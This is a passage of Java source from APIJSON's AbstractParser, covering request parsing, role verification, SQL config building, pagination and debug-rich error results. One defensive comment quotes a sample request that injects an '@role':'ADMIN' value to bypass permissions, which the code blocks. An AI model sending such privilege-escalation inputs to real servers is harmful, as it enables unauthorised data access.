public AbstractParser<T> setNeedVerifyContent(boolean needVerifyContent) { this.needVerifyContent = needVerifyContent; return this; } protected SQLExecutor sqlExecutor; protected Verifier<T> verifier; protected Map<String, Object> queryResultMap;//path-result @Override public SQLExecutor getSQLExecutor() { if (sqlExecutor == null) { sqlExecutor = createSQLExecutor(); sqlExecutor.setParser(this); } return sqlExecutor; } @Override public Verifier<T> getVerifier() { if (verifier == null) { verifier = createVerifier().setVisitor(getVisitor()); } return verifier; } /**解析请求json并获取对应结果 * @param request * @return */ @Override public String parse(String request) { return JSON.toJSONString(parseResponse(request)); } /**解析请求json并获取对应结果 * @param request * @return */ @NotNull @Override public String parse(JSONObject request) { return JSON.toJSONString(parseResponse(request)); } /**解析请求json并获取对应结果 * @param request 先parseRequest中URLDecoder.decode(request, UTF_8);再parseResponse(getCorrectRequest(...)) * @return parseResponse(requestObject); */ @NotNull @Override public JSONObject parseResponse(String request) { Log.d(TAG, "\n\n\n\n<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<\n" + requestMethod + "/parseResponse request = \n" + request + "\n\n"); try { requestObject = parseRequest(request); } catch (Exception e) { return newErrorResult(e, isRoot); } return parseResponse(requestObject); } private int queryDepth; private long executedSQLDuration; /**解析请求json并获取对应结果 * @param request * @return requestObject */ @NotNull @Override public JSONObject parseResponse(JSONObject request) { long startTime = System.currentTimeMillis(); Log.d(TAG, "parseResponse startTime = " + startTime + "<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<\n\n\n "); requestObject = request; try { setVersion(requestObject.getIntValue(JSONRequest.KEY_VERSION)); requestObject.remove(JSONRequest.KEY_VERSION); if (getMethod() != RequestMethod.CRUD) { setTag(requestObject.getString(JSONRequest.KEY_TAG)); requestObject.remove(JSONRequest.KEY_TAG); } } catch (Exception e) { return extendErrorResult(requestObject, e, requestMethod, getRequestURL(), isRoot); } verifier = createVerifier().setVisitor(getVisitor()); if (RequestMethod.isPublicMethod(requestMethod) == false) { try { if (isNeedVerifyLogin()) { onVerifyLogin(); } if (isNeedVerifyContent()) { onVerifyContent(); } } catch (Exception e) { return extendErrorResult(requestObject, e, requestMethod, getRequestURL(), isRoot); } } //必须在parseCorrectRequest后面,因为parseCorrectRequest可能会添加 @role if (isNeedVerifyRole() && globalRole == null) { try { setGlobalRole(requestObject.getString(JSONRequest.KEY_ROLE)); requestObject.remove(JSONRequest.KEY_ROLE); } catch (Exception e) { return extendErrorResult(requestObject, e, requestMethod, getRequestURL(), isRoot); } } try { setGlobalFormat(requestObject.getBoolean(JSONRequest.KEY_FORMAT)); setGlobalDatabase(requestObject.getString(JSONRequest.KEY_DATABASE)); setGlobalSchema(requestObject.getString(JSONRequest.KEY_SCHEMA)); setGlobalDatasource(requestObject.getString(JSONRequest.KEY_DATASOURCE)); setGlobalExplain(requestObject.getBoolean(JSONRequest.KEY_EXPLAIN)); setGlobalCache(requestObject.getString(JSONRequest.KEY_CACHE)); requestObject.remove(JSONRequest.KEY_FORMAT); requestObject.remove(JSONRequest.KEY_DATABASE); requestObject.remove(JSONRequest.KEY_SCHEMA); requestObject.remove(JSONRequest.KEY_DATASOURCE); requestObject.remove(JSONRequest.KEY_EXPLAIN); requestObject.remove(JSONRequest.KEY_CACHE); } catch (Exception e) { return extendErrorResult(requestObject, e, requestMethod, getRequestURL(), isRoot); } final String requestString = JSON.toJSONString(request);//request传进去解析后已经变了 queryResultMap = new HashMap<String, Object>(); Exception error = null; sqlExecutor = createSQLExecutor(); onBegin(); try { queryDepth = 0; executedSQLDuration = 0; requestObject = onObjectParse(request, null, null, null, false); onCommit(); } catch (Exception e) { e.printStackTrace(); error = e; onRollback(); } String warn = Log.DEBUG == false || error != null ? null : getWarnString(); requestObject = error == null ? extendSuccessResult(requestObject, warn, isRoot) : extendErrorResult(requestObject, error, requestMethod, getRequestURL(), isRoot); JSONObject res = (globalFormat != null && globalFormat) && JSONResponse.isSuccess(requestObject) ? new JSONResponse(requestObject) : requestObject; long endTime = System.currentTimeMillis(); long duration = endTime - startTime; res.putIfAbsent("time", endTime); if (Log.DEBUG) { res.put("sql:generate|cache|execute|maxExecute", getSQLExecutor().getGeneratedSQLCount() + "|" + getSQLExecutor().getCachedSQLCount() + "|" + getSQLExecutor().getExecutedSQLCount() + "|" + getMaxSQLCount()); res.put("depth:count|max", queryDepth + "|" + getMaxQueryDepth()); executedSQLDuration += sqlExecutor.getExecutedSQLDuration() + sqlExecutor.getSqlResultDuration(); long parseDuration = duration - executedSQLDuration; res.put("time:start|duration|end|parse|sql", startTime + "|" + duration + "|" + endTime + "|" + parseDuration + "|" + executedSQLDuration); if (error != null) { // String msg = error.getMessage(); // if (msg != null && msg.contains(Log.KEY_SYSTEM_INFO_DIVIDER)) { // } Throwable t = error instanceof CommonException && error.getCause() != null ? error.getCause() : error; res.put("trace:throw", t.getClass().getName()); res.put("trace:stack", t.getStackTrace()); } } onClose(); // CS304 Issue link: https://github.com/Tencent/APIJSON/issues/232 if (IS_PRINT_REQUEST_STRING_LOG || Log.DEBUG || error != null) { Log.sl("\n\n\n", '<', ""); Log.fd(TAG, requestMethod + "/parseResponse request = \n" + requestString + "\n\n"); } if (IS_PRINT_BIG_LOG || Log.DEBUG || error != null) { // 日志仅存服务器,所以不太敏感,而且这些日志虽然量大但非常重要,对排查 bug 很关键 Log.fd(TAG, requestMethod + "/parseResponse return response = \n" + JSON.toJSONString(requestObject) + "\n\n"); } if (IS_PRINT_REQUEST_ENDTIME_LOG || Log.DEBUG || error != null) { Log.fd(TAG, requestMethod + "/parseResponse endTime = " + endTime + "; duration = " + duration); Log.sl("", '>', "\n\n\n"); } return res; } @Override public void onVerifyLogin() throws Exception { getVerifier().verifyLogin(); } @Override public void onVerifyContent() throws Exception { requestObject = parseCorrectRequest(); } /**校验角色及对应操作的权限 * @param config * @return * @throws Exception */ @Override public void onVerifyRole(@NotNull SQLConfig<T> config) throws Exception { if (Log.DEBUG) { Log.i(TAG, "onVerifyRole config = " + JSON.toJSONString(config)); } if (isNeedVerifyRole()) { if (config.getRole() == null) { if (globalRole != null) { config.setRole(globalRole); } else { config.setRole(getVisitor().getId() == null ? AbstractVerifier.UNKNOWN : AbstractVerifier.LOGIN); } } getVerifier().verifyAccess(config); } } /**解析请求JSONObject * @param request => URLDecoder.decode(request, UTF_8); * @return * @throws Exception */ @NotNull public static JSONObject parseRequest(String request) throws Exception { JSONObject obj = JSON.parseObject(request); if (obj == null) { throw new UnsupportedEncodingException("JSON格式不合法!"); } return obj; } @Override public JSONObject parseCorrectRequest(RequestMethod method, String tag, int version, String name, @NotNull JSONObject request , int maxUpdateCount, SQLCreator creator) throws Exception { if (RequestMethod.isPublicMethod(method)) { return request;//需要指定JSON结构的get请求可以改为post请求。一般只有对安全性要求高的才会指定,而这种情况用明文的GET方式几乎肯定不安全 } return batchVerify(method, tag, version, name, request, maxUpdateCount, creator); } /**自动根据 tag 是否为 TableKey 及是否被包含在 object 内来决定是否包装一层,改为 { tag: object, "tag": tag } * @param object * @param tag * @return */ public static JSONObject wrapRequest(RequestMethod method, String tag, JSONObject object, boolean isStructure) { boolean putTag = ! isStructure; if (object == null || object.containsKey(tag)) { //tag 是 Table 名或 Table[] if (putTag) { if (object == null) { object = new JSONObject(true); } object.put(JSONRequest.KEY_TAG, tag); } return object; } boolean isDiffArrayKey = tag.endsWith(":[]"); boolean isArrayKey = isDiffArrayKey || JSONRequest.isArrayKey(tag); String key = isArrayKey ? tag.substring(0, tag.length() - (isDiffArrayKey ? 3 : 2)) : tag; JSONObject target = object; if (apijson.JSONObject.isTableKey(key)) { if (isDiffArrayKey) { //自动为 tag = Comment:[] 的 { ... } 新增键值对为 { "Comment[]":[], "TYPE": { "Comment[]": "OBJECT[]" } ... } if (isStructure && (method == RequestMethod.POST || method == RequestMethod.PUT)) { String arrKey = key + "[]"; if (target.containsKey(arrKey) == false) { target.put(arrKey, new JSONArray()); } try { JSONObject type = target.getJSONObject(Operation.TYPE.name()); if (type == null || (type.containsKey(arrKey) == false)) { if (type == null) { type = new JSONObject(true); } type.put(arrKey, "OBJECT[]"); target.put(Operation.TYPE.name(), type); } } catch (Throwable e) { Log.w(TAG, "wrapRequest try { JSONObject type = target.getJSONObject(Operation.TYPE.name()); } catch (Exception e) = " + e.getMessage()); } } } else { //自动为 tag = Comment 的 { ... } 包一层为 { "Comment": { ... } } if (isArrayKey == false || RequestMethod.isGetMethod(method, true)) { target = new JSONObject(true); target.put(tag, object); } else if (target.containsKey(key) == false) { target = new JSONObject(true); target.put(key, object); } } } if (putTag) { target.put(JSONRequest.KEY_TAG, tag); } return target; } /**新建带状态内容的JSONObject * @param code * @param msg * @return */ public static JSONObject newResult(int code, String msg) { return newResult(code, msg, null); } /** * 添加JSONObject的状态内容,一般用于错误提示结果 * * @param code * @param msg * @param warn * @return */ public static JSONObject newResult(int code, String msg, String warn) { return newResult(code, msg, warn, false); } /** * 新建带状态内容的JSONObject * * @param code * @param msg * @param warn * @param isRoot * @return */ public static JSONObject newResult(int code, String msg, String warn, boolean isRoot) { return extendResult(null, code, msg, warn, isRoot); } /** * 添加JSONObject的状态内容,一般用于错误提示结果 * * @param object * @param code * @param msg * @return */ public static JSONObject extendResult(JSONObject object, int code, String msg, String warn, boolean isRoot) { int index = Log.DEBUG == false || isRoot == false || msg == null ? -1 : msg.lastIndexOf(Log.KEY_SYSTEM_INFO_DIVIDER); String debug = Log.DEBUG == false || isRoot == false ? null : (index >= 0 ? msg.substring(index + Log.KEY_SYSTEM_INFO_DIVIDER.length()).trim() : " \n提 bug 请发请求和响应的【完整截屏】,没图的自行解决!" + " \n开发者有限的时间和精力主要放在【维护项目源码和文档】上!" + " \n【描述不详细】 或 【文档/常见问题 已有答案】 的问题可能会被忽略!!" + " \n【态度 不文明/不友善】的可能会被踢出群,问题也可能不予解答!!!" + " \n\n **环境信息** " + " \n系统: " + Log.OS_NAME + " " + Log.OS_VERSION + " \n数据库: DEFAULT_DATABASE = " + AbstractSQLConfig.DEFAULT_DATABASE + " \nJDK: " + Log.JAVA_VERSION + " " + Log.OS_ARCH + " \nAPIJSON: " + Log.VERSION + " \n \n【常见问题】:https://github.com/Tencent/APIJSON/issues/36" + " \n【通用文档】:https://github.com/Tencent/APIJSON/blob/master/Document.md" + " \n【视频教程】:https://search.bilibili.com/all?keyword=APIJSON"); msg = index >= 0 ? msg.substring(0, index) : msg; if (object == null) { object = new JSONObject(true); } if (object.get(JSONResponse.KEY_OK) == null) { object.put(JSONResponse.KEY_OK, JSONResponse.isSuccess(code)); } if (object.get(JSONResponse.KEY_CODE) == null) { object.put(JSONResponse.KEY_CODE, code); } String m = StringUtil.getString(object.getString(JSONResponse.KEY_MSG)); if (m.isEmpty() == false) { msg = m + " ;\n " + StringUtil.getString(msg); } object.put(JSONResponse.KEY_MSG, msg); if (debug != null) { if (StringUtil.isNotEmpty(warn, true)) { debug += "\n 【警告】:" + warn; } object.put("debug:info|help", debug); } return object; } /** * 添加请求成功的状态内容 * * @param object * @return */ public static JSONObject extendSuccessResult(JSONObject object) { return extendSuccessResult(object, false); } public static JSONObject extendSuccessResult(JSONObject object, boolean isRoot) { return extendSuccessResult(object, null, isRoot); } /**添加请求成功的状态内容 * @param object * @param isRoot * @return */ public static JSONObject extendSuccessResult(JSONObject object, String warn, boolean isRoot) { return extendResult(object, JSONResponse.CODE_SUCCESS, JSONResponse.MSG_SUCCEED, warn, isRoot); } /**获取请求成功的状态内容 * @return */ public static JSONObject newSuccessResult() { return newSuccessResult(null); } /**获取请求成功的状态内容 * @param warn * @return */ public static JSONObject newSuccessResult(String warn) { return newSuccessResult(warn, false); } /**获取请求成功的状态内容 * @param warn * @param isRoot * @return */ public static JSONObject newSuccessResult(String warn, boolean isRoot) { return newResult(JSONResponse.CODE_SUCCESS, JSONResponse.MSG_SUCCEED, warn, isRoot); } /**添加请求成功的状态内容 * @param object * @param e * @return */ public static JSONObject extendErrorResult(JSONObject object, Throwable e) { return extendErrorResult(object, e, false); } /**添加请求成功的状态内容 * @param object * @param e * @param isRoot * @return */ public static JSONObject extendErrorResult(JSONObject object, Throwable e, boolean isRoot) { return extendErrorResult(object, e, null, null, isRoot); } /**添加请求成功的状态内容 * @param object * @return */ public static JSONObject extendErrorResult(JSONObject object, Throwable e, RequestMethod requestMethod, String url, boolean isRoot) { String msg = CommonException.getMsg(e); if (Log.DEBUG && isRoot) { try { boolean isCommon = e instanceof CommonException; String env = isCommon ? ((CommonException) e).getEnvironment() : null; if (StringUtil.isEmpty(env)) { //int index = msg.lastIndexOf(Log.KEY_SYSTEM_INFO_DIVIDER); //env = index >= 0 ? msg.substring(index + Log.KEY_SYSTEM_INFO_DIVIDER.length()).trim() env = " \n **环境信息** " + " \n 系统: " + Log.OS_NAME + " " + Log.OS_VERSION + " \n 数据库: <!-- 请填写,例如 MySQL 5.7。默认数据库为 " + AbstractSQLConfig.DEFAULT_DATABASE + " -->" + " \n JDK: " + Log.JAVA_VERSION + " " + Log.OS_ARCH + " \n APIJSON: " + Log.VERSION; //msg = index < 0 ? msg : msg.substring(0, index).trim(); } String encodedMsg = URLEncoder.encode(msg, "UTF-8"); if (StringUtil.isEmpty(url, true)) { String host = "localhost"; try { host = InetAddress.getLocalHost().getHostAddress(); } catch (Throwable e2) {} String port = "8080"; try { MBeanServer beanServer = ManagementFactory.getPlatformMBeanServer(); Set<ObjectName> objectNames = beanServer.queryNames( new ObjectName("*:type=Connector,*"), Query.match(Query.attr("protocol"), Query.value("HTTP/1.1")) ); String p = objectNames.iterator().next().getKeyProperty("port"); port = StringUtil.isEmpty(p, true) ? port : p; } catch (Throwable e2) {} url = "http://" + host + ":" + port + "/" + (requestMethod == null ? RequestMethod.GET : requestMethod).name().toLowerCase(); } String req = JSON.toJSONString(object); try { req = URLEncoder.encode(req, "UTF-8"); } catch (Throwable e2) {} Throwable t = isCommon ? e.getCause() : e; boolean isSQLException = t instanceof SQLException; // SQL 报错一般都是通用问题,优先搜索引擎 String apiatuoAndGitHubLink = "\n\n【APIAuto】: \n http://apijson.cn/api?type=JSON&url=" + URLEncoder.encode(url, "UTF-8") + "&json=" + req + " \n\n【GitHub】: \n https://www.google.com/search?q=site%3Agithub.com%2FTencent%2FAPIJSON+++" + encodedMsg; msg += Log.KEY_SYSTEM_INFO_DIVIDER + " 浏览器打开以下链接查看解答" + (isSQLException ? "" : apiatuoAndGitHubLink) // GitHub Issue 搜索貌似是精准包含,不易找到答案 + " \n\nGitHub: \n https://github.com/Tencent/APIJSON/issues?q=is%3Aissue+" + encodedMsg + " \n\n【Google】:\n https://www.google.com/search?q=" + encodedMsg + " \n\n【百度】:\n https://www.baidu.com/s?ie=UTF-8&wd=" + encodedMsg + (isSQLException ? apiatuoAndGitHubLink : "") + " \n\n都没找到答案?打开这个链接 \n https://github.com/Tencent/APIJSON/issues/new?assignees=&labels=&template=--bug.md " + " \n然后提交问题,推荐用以下模板修改,注意要换行保持清晰可读。" + " \n【标题】:" + msg + " \n【内容】:" + env + "\n\n**问题描述**\n" + msg + " \n\n<!-- 尽量完整截屏(至少包含请求和回包结果,还可以加上控制台报错日志),然后复制粘贴到这里 -->" + " \n\nPOST " + url + " \n发送请求 Request JSON:\n ```js" + " \n 请填写,例如 { \"Users\":{} }" + " \n```" + " \n\n返回结果 Response JSON:\n ```js" + " \n 请填写,例如 { \"Users\": {}, \"code\": 401, \"msg\": \"Users 不允许 UNKNOWN 用户的 GET 请求!\" }" + " \n```"; } catch (Throwable e2) {} } int code = CommonException.getCode(e); return extendResult(object, code, msg, null, isRoot); } /**新建错误状态内容 * @param e * @return */ public static JSONObject newErrorResult(Exception e) { return newErrorResult(e, false); } /**新建错误状态内容 * @param e * @param isRoot * @return */ public static JSONObject newErrorResult(Exception e, boolean isRoot) { if (e != null) { // if (Log.DEBUG) { e.printStackTrace(); // } String msg = CommonException.getMsg(e); Integer code = CommonException.getCode(e); return newResult(code, msg, null, isRoot); } return newResult(JSONResponse.CODE_SERVER_ERROR, JSONResponse.MSG_SERVER_ERROR, null, isRoot); } /**获取正确的请求,非GET请求必须是服务器指定的 * @return * @throws Exception */ @Override public JSONObject parseCorrectRequest() throws Exception { return parseCorrectRequest(requestMethod, tag, version, "", requestObject, getMaxUpdateCount(), this); } /**获取Request或Response内指定JSON结构 * @param table * @param method * @param tag * @param version * @return * @throws Exception */ @Override public JSONObject getStructure(@NotNull String table, String method, String tag, int version) throws Exception { String cacheKey = AbstractVerifier.getCacheKeyForRequest(method, tag); SortedMap<Integer, JSONObject> versionedMap = AbstractVerifier.REQUEST_MAP.get(cacheKey); JSONObject result = versionedMap == null ? null : versionedMap.get(Integer.valueOf(version)); if (result == null) { // version <= 0 时使用最新,version > 0 时使用 > version 的最接近版本(最小版本) Set<Entry<Integer, JSONObject>> set = versionedMap == null ? null : versionedMap.entrySet(); if (set != null && set.isEmpty() == false) { Entry<Integer, JSONObject> maxEntry = null; for (Entry<Integer, JSONObject> entry : set) { if (entry == null || entry.getKey() == null || entry.getValue() == null) { continue; } if (version <= 0 || version == entry.getKey()) { // 这里应该不会出现相等,因为上面 versionedMap.get(Integer.valueOf(version)) maxEntry = entry; break; } if (entry.getKey() < version) { break; } maxEntry = entry; } result = maxEntry == null ? null : maxEntry.getValue(); } if (result != null) { // 加快下次查询,查到值的话组合情况其实是有限的,不属于恶意请求 if (versionedMap == null) { versionedMap = new TreeMap<>((o1, o2) -> { return o2 == null ? -1 : o2.compareTo(o1); // 降序 }); } versionedMap.put(Integer.valueOf(version), result); AbstractVerifier.REQUEST_MAP.put(cacheKey, versionedMap); } } if (result == null) { if (Log.DEBUG == false && AbstractVerifier.REQUEST_MAP.isEmpty() == false) { return null; // 已使用 REQUEST_MAP 缓存全部,但没查到 } // 获取指定的JSON结构 <<<<<<<<<<<<<< SQLConfig<T> config = createSQLConfig().setMethod(GET).setTable(table); config.setPrepared(false); config.setColumn(Arrays.asList("structure")); Map<String, Object> where = new HashMap<String, Object>(); where.put("method", method); where.put(JSONRequest.KEY_TAG, tag); if (version > 0) { where.put(JSONRequest.KEY_VERSION + ">=", version); } config.setWhere(where); config.setOrder(JSONRequest.KEY_VERSION + (version > 0 ? "+" : "-")); config.setCount(1); // too many connections error: 不try-catch,可以让客户端看到是服务器内部异常 result = getSQLExecutor().execute(config, false); // version, method, tag 组合情况太多了,JDK 里又没有 LRUCache,所以要么启动时一次性缓存全部后面只用缓存,要么每次都查数据库 // versionedMap.put(Integer.valueOf(version), result); // AbstractVerifier.REQUEST_MAP.put(cacheKey, versionedMap); } return getJSONObject(result, "structure"); //解决返回值套了一层 "structure":{} } protected Map<String, ObjectParser> arrayObjectParserCacheMap = new HashMap<>(); // protected SQLConfig<T> itemConfig; /**获取单个对象,该对象处于parentObject内 * @param request parentObject 的 value * @param parentPath parentObject 的路径 * @param name parentObject 的 key * @param arrayConfig config for array item * @param isSubquery 是否为子查询 * @return * @throws Exception */ @Override public JSONObject onObjectParse(final JSONObject request , String parentPath, String name, final SQLConfig<T> arrayConfig, boolean isSubquery) throws Exception { if (Log.DEBUG) { Log.i(TAG, "\ngetObject: parentPath = " + parentPath + ";\n name = " + name + "; request = " + JSON.toJSONString(request)); } if (request == null) {// Moment:{} || request.isEmpty()) {//key-value条件 return null; } int type = arrayConfig == null ? 0 : arrayConfig.getType(); int position = arrayConfig == null ? 0 : arrayConfig.getPosition(); String[] arr = StringUtil.split(parentPath, "/"); if (position == 0) { int d = arr == null ? 1 : arr.length + 1; if (queryDepth < d) { queryDepth = d; int maxQueryDepth = getMaxQueryDepth(); if (queryDepth > maxQueryDepth) { throw new IllegalArgumentException(parentPath + "/" + name + ":{} 的深度(或者说层级) 为 " + queryDepth + " 已超限,必须在 1-" + maxQueryDepth + " 内 !"); } } } apijson.orm.Entry<String, String> entry = Pair.parseEntry(name, true); String table = entry.getKey(); //Comment // String alias = entry.getValue(); //to boolean isTable = apijson.JSONObject.isTableKey(table); boolean isArrayMainTable = isSubquery == false && isTable && type == SQLConfig.TYPE_ITEM_CHILD_0 && arrayConfig != null && RequestMethod.isGetMethod(arrayConfig.getMethod(), true); boolean isReuse = isArrayMainTable && position > 0; ObjectParser<T> op = null; if (isReuse) { // 数组主表使用专门的缓存数据 op = arrayObjectParserCacheMap.get(parentPath.substring(0, parentPath.lastIndexOf("[]") + 2)); op.setParentPath(parentPath); } if (op == null) { op = createObjectParser(request, parentPath, arrayConfig, isSubquery, isTable, isArrayMainTable); } // 对象 - 设置 method setOpMethod(request, op, name); op = op.parse(name, isReuse); JSONObject response = null; if (op != null) {//SQL查询结果为空时,functionMap和customMap没有意义 if (arrayConfig == null) { //Common response = op.setSQLConfig().executeSQL().response(); } else {//Array Item Child int query = arrayConfig.getQuery(); //total 这里不能用arrayConfig.getType(),因为在createObjectParser.onChildParse传到onObjectParse时已被改掉 if (type == SQLConfig.TYPE_ITEM_CHILD_0 && query != JSONRequest.QUERY_TABLE && position == 0) { //TODO 应在这里判断 @column 中是否有聚合函数,而不是 AbstractSQLConfig.getColumnString JSONObject rp; Boolean compat = arrayConfig.getCompat(); if (compat != null && compat) { // 解决对聚合函数字段通过 query:2 分页查总数返回值错误 // 这里可能改变了内部的一些数据,下方通过 arrayConfig 还原 SQLConfig<T> cfg = op.setSQLConfig(0, 0, 0).getSQLConfig(); boolean isExplain = cfg.isExplain(); cfg.setExplain(false); Subquery subqy = new Subquery(); subqy.setFrom(cfg.getTable()); subqy.setConfig(cfg); SQLConfig<T> countSQLCfg = createSQLConfig(); countSQLCfg.setColumn(Arrays.asList("count(*):count")); countSQLCfg.setFrom(subqy); rp = executeSQL(countSQLCfg, false); cfg.setExplain(isExplain); } else { // 对聚合函数字段通过 query:2 分页查总数返回值错误 RequestMethod method = op.getMethod(); rp = op.setMethod(RequestMethod.HEAD).setSQLConfig().executeSQL().getSqlResponse(); op.setMethod(method); } if (rp != null) { int index = parentPath.lastIndexOf("]/"); if (index >= 0) { int total = rp.getIntValue(JSONResponse.KEY_COUNT); String pathPrefix = parentPath.substring(0, index) + "]/"; putQueryResult(pathPrefix + JSONResponse.KEY_TOTAL, total); //详细的分页信息,主要为 PC 端提供 int count = arrayConfig.getCount(); int page = arrayConfig.getPage(); int max = (int) ((total - 1)/count); if (max < 0) { max = 0; } JSONObject pagination = new JSONObject(true); Object explain = rp.get(JSONResponse.KEY_EXPLAIN); if (explain instanceof JSONObject) { pagination.put(JSONResponse.KEY_EXPLAIN, explain); } pagination.put(JSONResponse.KEY_TOTAL, total); pagination.put(JSONRequest.KEY_COUNT, count); pagination.put(JSONRequest.KEY_PAGE, page); pagination.put(JSONResponse.KEY_MAX, max); pagination.put(JSONResponse.KEY_MORE, page < max); pagination.put(JSONResponse.KEY_FIRST, page == 0); pagination.put(JSONResponse.KEY_LAST, page == max); putQueryResult(pathPrefix + JSONResponse.KEY_INFO, pagination); if (total <= count*page) { query = JSONRequest.QUERY_TOTAL;//数量不够了,不再往后查询 } } } op.setMethod(requestMethod); } //Table if (query == JSONRequest.QUERY_TOTAL) { response = null;//不再往后查询 } else { response = op .setSQLConfig(arrayConfig.getCount(), arrayConfig.getPage(), position) .executeSQL() .response(); // itemConfig = op.getConfig(); } } if (isArrayMainTable) { if (position == 0) { // 提取并缓存数组主表的列表数据 arrayObjectParserCacheMap.put(parentPath.substring(0, parentPath.lastIndexOf("[]") + 2), op); } } // else { // op.recycle(); // } op = null; } return response; } /**获取对象数组,该对象数组处于parentObject内 * @param parentPath parentObject的路径 * @param name parentObject的key * @param request parentObject的value * @return * @throws Exception */ @Override public JSONArray onArrayParse(JSONObject request, String parentPath, String name, boolean isSubquery) throws Exception { if (Log.DEBUG) { Log.i(TAG, "\n\n\n onArrayParse parentPath = " + parentPath + "; name = " + name + "; request = " + JSON.toJSONString(request)); } //不能允许GETS,否则会被通过"[]":{"@role":"ADMIN"},"Table":{},"tag":"Table"绕过权限并能批量查询 RequestMethod _method = request.get(apijson.JSONObject.KEY_METHOD) == null ? requestMethod : RequestMethod.valueOf(request.getString(apijson.JSONObject.KEY_METHOD)); if (isSubquery == false && RequestMethod.isGetMethod(_method, true) == false) { throw new UnsupportedOperationException("key[]:{} 只支持 GET, GETS 方法!其它方法不允许传 " + name + ":{} 等这种 key[]:{} 格式!"); } if (request == null || request.isEmpty()) { // jsonKey-jsonValue 条件 return null; } String path = getAbsPath(parentPath, name); //不能改变,因为后面可能继续用到,导致1以上都改变 []:{0:{Comment[]:{0:{Comment:{}},1:{...},...}},1:{...},...} final String query = request.getString(JSONRequest.KEY_QUERY); final Boolean compat = request.getBoolean(JSONRequest.KEY_COMPAT); final Integer count = request.getInteger(JSONRequest.KEY_COUNT); //TODO 如果不想用默认数量可以改成 getIntValue(JSONRequest.KEY_COUNT); final Integer page = request.getInteger(JSONRequest.KEY_PAGE); final Object join = request.get(JSONRequest.KEY_JOIN); int query2; if (query == null) { query2 = JSONRequest.QUERY_TABLE; } else { switch (query) { case "0": case JSONRequest.QUERY_TABLE_STRING: query2 = JSONRequest.QUERY_TABLE; break; case "1": case JSONRequest.QUERY_TOTAL_STRING: query2 = JSONRequest.QUERY_TOTAL; break; case "2": case JSONRequest.QUERY_ALL_STRING: query2 = JSONRequest.QUERY_ALL; break; default: throw new IllegalArgumentException(path + "/" + JSONRequest.KEY_QUERY + ":value 中 value 的值不合法!必须在 [0,1,2] 或 [TABLE, TOTAL, ALL] 内 !"); } } int page2 = page == null ? 0 : page; int maxPage = getMaxQueryPage(); if (page2 < 0 || page2 > maxPage) { throw new IllegalArgumentException(path + "/" + JSONRequest.KEY_PAGE + ":value 中 value 的值不合法!必须在 0-" + maxPage + " 内 !"); } //不用total限制数量了,只用中断机制,total只在query = 1,2的时候才获取 int count2 = isSubquery || count != null ? (count == null ? 0 : count) : getDefaultQueryCount(); int max = isSubquery ? count2 : getMaxQueryCount(); if (count2 < 0 || count2 > max) { throw new IllegalArgumentException(path + "/" + JSONRequest.KEY_COUNT + ":value 中 value 的值不合法!必须在 0-" + max + " 内 !"); } request.remove(JSONRequest.KEY_QUERY); request.remove(JSONRequest.KEY_COMPAT); request.remove(JSONRequest.KEY_COUNT); request.remove(JSONRequest.KEY_PAGE); request.remove(JSONRequest.KEY_JOIN); Log.d(TAG, "onArrayParse query = " + query + "; count = " + count + "; page = " + page + "; join = " + join); if (request.isEmpty()) { // 如果条件成立,说明所有的 parentPath/name:request 中request都无效!!! 后续都不执行,没必要还原数组关键词浪费性能 Log.e(TAG, "onArrayParse request.isEmpty() >> return null;"); return null; } JSONArray response = null; try { int size = count2 == 0 ? max : count2; //count为每页数量,size为第page页实际数量,max(size) = count Log.d(TAG, "onArrayParse size = " + size + "; page = " + page2); //key[]:{Table:{}}中key equals Table时 提取Table int index = isSubquery || name == null ? -1 : name.lastIndexOf("[]"); String childPath = index <= 0 ? null : Pair.parseEntry(name.substring(0, index), true).getKey(); // Table-key1-key2... String arrTableKey = null; //判断第一个key,即Table是否存在,如果存在就提取 String[] childKeys = StringUtil.split(childPath, "-", false); if (childKeys == null || childKeys.length <= 0 || request.containsKey(childKeys[0]) == false) { childKeys = null; } else if (childKeys.length == 1 && JSONRequest.isTableKey(childKeys[0])) { // 可能无需提取,直接返回 rawList 即可 arrTableKey = childKeys[0]; } //Table<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< response = new JSONArray(); SQLConfig<T> config = createSQLConfig() .setMethod(requestMethod) .setCount(size) .setPage(page2) .setQuery(query2) .setCompat(compat) .setTable(arrTableKey) .setJoinList(onJoinParse(join, request)); JSONObject parent; boolean isExtract = true; //生成size个 for (int i = 0; i < (isSubquery ? 1 : size); i++) { parent = onObjectParse(request, isSubquery ? parentPath : path, isSubquery ? name : "" + i, config.setType(SQLConfig.TYPE_ITEM).setPosition(i), isSubquery); if (parent == null || parent.isEmpty()) { break; } long startTime = System.currentTimeMillis(); /* 这里优化了 Table[]: { Table:{} } 这种情况下的性能 * 如果把 List<JSONObject> 改成 JSONArray 来减少以下 addAll 一次复制,则会导致 AbstractSQLExecutor 等其它很多地方 get 要改为 getJSONObject, * 修改类型会导致不兼容旧版依赖 ORM 的项目,而且整体上性能只有特殊情况下性能提升,其它非特殊情况下因为多出很多 instanceof JSONObject 的判断而降低了性能。 */ JSONObject fo = i != 0 || arrTableKey == null ? null : parent.getJSONObject(arrTableKey); @SuppressWarnings("unchecked") List<JSONObject> list = fo == null ? null : (List<JSONObject>) fo.remove(AbstractSQLExecutor.KEY_RAW_LIST); if (list != null && list.isEmpty() == false) { isExtract = false; list.set(0, fo); // 不知道为啥第 0 项也加了 @RAW@LIST response.addAll(list); // List<JSONObject> cannot match List<Object> response = new JSONArray(list); long endTime = System.currentTimeMillis(); // 0ms Log.d(TAG, "\n onArrayParse <<<<<<<<<<<<<<<<<<<<<<<<<<<<\n for (int i = 0; i < (isSubquery ? 1 : size); i++) " + " startTime = " + startTime + "; endTime = " + endTime + "; duration = " + (endTime - startTime) + "\n >>>>>>>>>>>>>>>>>>>>>>>>>>>>>\n"); break; } //key[]:{Table:{}}中key equals Table时 提取Table response.add(getValue(parent, childKeys)); //null有意义 } //Table>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> /* * 支持引用取值后的数组 { "User-id[]": { "User": { "contactIdList<>": 82002 } }, "Moment-userId[]": { "Moment": { "userId{}@": "User-id[]" } } } */ if (isExtract) { long startTime = System.currentTimeMillis(); Object fo = childKeys == null || response.isEmpty() ? null : response.get(0); if (fo instanceof Boolean || fo instanceof Number || fo instanceof String) { //[{}] 和 [[]] 都没意义 putQueryResult(path, response); } long endTime = System.currentTimeMillis(); Log.d(TAG, "\n 